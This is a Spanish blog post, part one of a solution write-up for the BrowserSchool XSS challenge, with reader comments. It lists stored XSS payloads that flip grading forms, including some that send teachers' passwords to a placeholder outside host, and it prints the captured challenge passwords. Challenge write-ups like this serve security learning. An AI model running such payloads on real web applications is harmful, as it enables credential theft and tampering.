lunes, marzo 22, 2010

Solucionario Reto BrowserSchool [I de II] por Beni

******************************************************************************************
- Solucionario Reto BrowserSchool [I de II] por Beni
- Solucionario Reto BrowserSchool [II de II] por Beni
******************************************************************************************

Introduccion al reto educativo de seguridad informática 

El objetivo de este documento es el de explicar como resolví el reto de hacking BrowserSchool desarrollado por Informatica64 para Microsoft. Este reto estuvo habilitado desde las 9:00 del 16/12/2009 hasta las 12:00 del 17/12/2009.

Se trataba de conseguir que los profesores nos aprobaran a su pesar, porque en realidad ellos no tenian mas intención que la de suspender a todos los alumnos sistematicamente. El alumno debía enviar su solucion, un texto que aparecía de
forma literal en la pagina web que usaban los profesores para corregir, lo que
lo hacía vulnerable a ataques XSS.

Había tres personas reales haciendo de profesores y cada uno de ellos usaba un navegador diferente para ver y corregir los exámenes. Todos ellos con la última versión instalada por defecto y sin complementos de estos navegadores:

- Profesor 1: Google Chrome 3
- Profesor 2: Mozilla Firefox 3.5
- Profesor 3: Internet Explorer 8


A su vez había tres asignaturas cuyo nivel de dificultad iba en aumento:

- Asignatura 1: Formulario sin contraseñas.
- Asignatura 2: Una contraseña de aula; la misma para todos.
- Asignatura 3: Cada profesor con su usuario y contraseña.


Además, obteniamos puntos extras al conseguir cualquiera de estas contraseñas.

Chrome y Firefox / Asignatura 1

El form tenia un combo con dos opciones (suspender y aprobar) y un botón para confirmar la seleccion. Para los profesores 1 y 2 mandé estas soluciones:

- a=2[script]document.getElementById('cbEvaluacion').value=1[/script]
- a=2[script]document.getElementById('cbEvaluacion').options[0].value=1[/scrip
t]


La primera era un script que cambiaba la opción seleccionada por defecto y la segunda obligaba a que las dos opciones del combo valieran 1 (aprobar).

En IE8 no funcionan por culpa del molesto filtro anti-XSS que lleva integrado y que bloqueaba la inmensa mayoría de las pruebas que hice, asi que voy a dejar las soluciones del IE8 para el final, por ser las mas complicadas y costosas.

Chrome y Firefox / Asignatura 2

Aquí el form tenia dos radiobuttons (suspender y aprobar) y un botón para confirmar la selección. También había que considerar el lugar donde se veía la solución enviada, porque en este caso salía antes de los controles y eso hace que Javascript no pueda acceder a los objetos del DOM que todavía no han sido instanciados, entre ellos los radiobuttons y el botón. Lo más sencillo puede que sea asociar una funcion al evento LOAD de la página:

-
a=2[script]window.onload=function(){document.getElementById('rbEvaluacion').
value=1}[/script]


Para sacar la contraseña de aula podemos hacerlo tal que así, para que al pulsar el botón se redireccione a la página que queramos, con la pass enviada como parametro a esa página:

- a=2[script]function
f(){window.location='http://www.xxxx.es?c='%2Bdocument.getElementById('tCodi
goAula').value);return false;}; window.onload=function()
{document.getElementById('enviar').onclick=f;}[/script]


Pero tenemos que codificarla antes porque tenía caracteres raros. Yo usé este código para sacarla en valores ASCII separados por una x:

- function cod(en){var
o='';while(i[en.length){o=o+'x'+en.charCodeAt(i++)};return o};


Queda así la solución buena:

- a=2[script]function cod(en){var
o='';while(i[en.length){o=o+'x'+en.charCodeAt(i++)};return o};function
f(){window.location='http://www.xxx.com?c='%2Bcod(document.getElementById('t
CodigoAula').value));return false;}; window.onload=function()
{document.getElementById('enviar').onclick=f;}[/script]

CONTRASEÑA DE AULA: [##$$123456.abcdef$$##]


Todo esto tampoco funciona en IE8 porque lo bloquea el filtro anti-XSS.

Chrome y Firefox / Asignatura 3

Aquí el form tenía dos botones (suspender y aprobar) y dos cajas de texto para meter el usuario y la contraseña del profesor. Muy parecido a lo de antes, haremos que retorne el valor 1 al apretar el botón suspender:

- a=2[script]function f(){document.getElementById('resultado').value=1};
window.onload=function (){document.getElementById('bSuspender').onclick=f}[/script]


Para sacar la password de los profesores lo hacemos de forma parecida a como se hizo en la asignatura de antes:

- a=2[script]function
f(){window.location='http://www.xxxx.es?p='%2Bescape(document.getElementById('tpassword').value);return false;}; window.onload=function()
{document.getElementById('bSuspender').onclick=f;}[/script]

CONTRASEÑA PROFESOR 1: --[000chrOmeEmorhC000]--
CONTRASEÑA PROFESOR 2: ##F1R3F0Xxoferif......:)


******************************************************************************************
- Solucionario Reto BrowserSchool [I de II] por Beni
- Solucionario Reto BrowserSchool [II de II] por Beni
******************************************************************************************

6 comentarios:

LeGNa dijo...

Lo bueno de tener las soluciones de los retos es poder hacer pruebas y aprender de esta forma.
Sigue disponible el reto en algún sitio?
Gracias de todas formas por las soluciones.

LeGNa dijo...

Busco animal de compañía... ;)
Foca (2.0)
Está libre ya?

Anónimo dijo...

Porque se usan 2 versiones modernas:
Firefox 3.5 y Explorer 8 y una versión obsoleta Chrome 3?

No seria mas justo usar Chrome 4.1 o como minimo Chrome 4 aunque tenga ya unos meses?

Antonio Garcia dijo...

@Anonimo, este reto se planteo hace bastante tiempo, en su momento las versiones utilizadas eran actuales.
y por cierto, Firefox esta en 3.6, no se porque dices que aqui usan una actualizada.

Este reto estuvo bastante bien, para sacar las contraseñas (todas ellas) yo cambie el destino del formulario, haciendo que las peticiones me llegaran a mi, contraseñas incluidas 8D 8D
y para modificar campos si fue parecido, javascript y a modificar valores de campos

f0n dijo...

anónimo.. se ve que el reto fue hace tiempo no?? claaaro que se ve..

Además, aunque se hiciese ahora, con las versiones nuevas, seguiría puteando más el IE8 yo creo :)

Anónimo dijo...

que reto más difícil XD jaja sos todo un juaquer muy maligno

XD

Entrada destacada

10 maneras de sacarle el jugo a tu cuenta de @MyPublicInbox si eres un Perfil Público

Cuando doy una charla a algún amigo, conocido, o a un grupo de personas que quieren conocer MyPublicInbox , siempre se acaban sorprendiendo ...

Entradas populares